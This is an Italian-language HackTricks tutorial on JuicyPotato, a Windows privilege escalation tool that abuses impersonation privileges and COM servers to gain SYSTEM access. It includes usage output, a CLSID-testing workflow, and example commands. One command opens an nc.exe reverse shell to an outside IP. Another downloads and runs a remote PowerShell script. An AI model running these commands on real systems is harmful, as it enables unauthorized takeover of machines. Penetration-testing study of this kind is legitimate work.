hacktricks/windows-hardening/windows-local-privilege-escalation/juicypotato.md

11 KiB

JuicyPotato

Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

WhiteIntel

WhiteIntel è un motore di ricerca alimentato dal dark web che offre funzionalità gratuite per verificare se un'azienda o i suoi clienti sono stati compromessi da malware ruba-informazioni.

Il loro obiettivo principale di WhiteIntel è combattere i takeover di account e gli attacchi ransomware derivanti da malware che rubano informazioni.

Puoi controllare il loro sito web e provare il loro motore gratuitamente su:

{% embed url="https://whiteintel.io" %}


{% hint style="warning" %} JuicyPotato non funziona su Windows Server 2019 e Windows 10 build 1809 in poi. Tuttavia, PrintSpoofer, RoguePotato, SharpEfsPotato possono essere utilizzati per sfruttare gli stessi privilegi e ottenere accesso di livello NT AUTHORITY\SYSTEM. Controlla: {% endhint %}

{% content-ref url="roguepotato-and-printspoofer.md" %} roguepotato-and-printspoofer.md {% endcontent-ref %}

Juicy Potato (sfruttando i privilegi dorati)

Una versione zuccherata di RottenPotatoNG, con un po' di succo, ovvero un altro strumento di Escalation dei Privilegi Locali, da Account Servizio Windows a NT AUTHORITY\SYSTEM

Puoi scaricare juicypotato da https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts

Riassunto

Dal Readme di juicy-potato:

RottenPotatoNG e le sue varianti sfruttano la catena di escalation dei privilegi basata sul servizio BITS service avendo il listener MiTM su 127.0.0.1:6666 e quando si hanno i privilegi SeImpersonate o SeAssignPrimaryToken. Durante una revisione della build di Windows abbiamo trovato una configurazione in cui BITS era intenzionalmente disabilitato e la porta 6666 era occupata.

Abbiamo deciso di rendere armaiolo RottenPotatoNG: Diamo il benvenuto a Juicy Potato.

Per la teoria, vedi Rotten Potato - Escalation dei Privilegi da Account Servizio a SYSTEM e segui la catena di link e riferimenti.

Abbiamo scoperto che, oltre a BITS, ci sono diversi server COM che possiamo abusare. Devono solo:

  1. essere istanziabili dall'utente corrente, di solito un "utente di servizio" che ha privilegi di impersonificazione
  2. implementare l'interfaccia IMarshal
  3. essere eseguiti come utente elevato (SYSTEM, Amministratore, ...)

Dopo alcuni test abbiamo ottenuto e testato un'ampia lista di CLSID interessanti su diverse versioni di Windows.

Dettagli succulenti

JuicyPotato ti consente di:

  • Target CLSID scegli qualsiasi CLSID tu voglia. Qui puoi trovare l'elenco organizzato per OS.
  • Porta di ascolto COM definisci la porta di ascolto COM che preferisci (anziché il 6666 codificato in modo rigido)
  • Indirizzo IP di ascolto COM vincola il server su qualsiasi IP
  • Modalità di creazione del processo a seconda dei privilegi dell'utente impersonato puoi scegliere tra:
  • CreateProcessWithToken (necessita di SeImpersonate)
  • CreateProcessAsUser (necessita di SeAssignPrimaryToken)
  • entrambi
  • Processo da avviare avvia un eseguibile o script se l'exploit ha successo
  • Argomento del processo personalizza gli argomenti del processo avviato
  • Indirizzo del server RPC per un approccio stealthy puoi autenticarti a un server RPC esterno
  • Porta del server RPC utile se vuoi autenticarti a un server esterno e il firewall blocca la porta 135...
  • Modalità TEST principalmente per scopi di test, cioè testare i CLSID. Crea il DCOM e stampa l'utente del token. Vedi qui per il testing

Utilizzo

T:\>JuicyPotato.exe
JuicyPotato v0.1

Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port


Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)

Pensieri finali

Dal Readme di juicy-potato:

Se l'utente ha i privilegi SeImpersonate o SeAssignPrimaryToken allora sei SYSTEM.

È quasi impossibile prevenire l'abuso di tutti questi Server COM. Potresti pensare di modificare i permessi di questi oggetti tramite DCOMCNFG ma buona fortuna, sarà una sfida.

La soluzione effettiva è proteggere gli account sensibili e le applicazioni che vengono eseguite con gli account * SERVICE. Fermare DCOM certamente inibirà questo exploit ma potrebbe avere un impatto serio sul sistema operativo sottostante.

Da: http://ohpe.it/juicy-potato/

Esempi

Nota: Visita questa pagina per una lista di CLSID da provare.

Ottenere una shell inversa con nc.exe

c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *

Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

c:\Users\Public>

PowerShell rev

.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *

Avvia un nuovo CMD (se hai accesso RDP)

Problemi con CLSID

Spesso, il CLSID predefinito utilizzato da JuicyPotato non funziona e l'exploit fallisce. Di solito, sono necessari diversi tentativi per trovare un CLSID funzionante. Per ottenere un elenco di CLSID da provare per un sistema operativo specifico, dovresti visitare questa pagina:

{% embed url="https://ohpe.it/juicy-potato/CLSID/" %}

Verifica dei CLSID

Innanzitutto, avrai bisogno di alcuni eseguibili diversi da juicypotato.exe.

Scarica Join-Object.ps1 e caricalo nella tua sessione PS, scarica ed esegui GetCLSID.ps1. Quello script creerà un elenco di possibili CLSID da testare.

Successivamente scarica test_clsid.bat (cambia il percorso dell'elenco CLSID e dell'eseguibile juicypotato) ed eseguilo. Inizierà a provare ogni CLSID e quando il numero di porta cambierà, significherà che il CLSID ha funzionato.

Verifica i CLSID funzionanti utilizzando il parametro -c

Riferimenti

WhiteIntel

WhiteIntel è un motore di ricerca alimentato dal dark web che offre funzionalità gratuite per verificare se un'azienda o i suoi clienti sono stati compromessi da malware ruba-informazioni.

Il loro obiettivo principale è contrastare le violazioni degli account e gli attacchi ransomware derivanti da malware che rubano informazioni.

Puoi visitare il loro sito web e provare il loro motore gratuitamente su:

{% embed url="https://whiteintel.io" %}

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!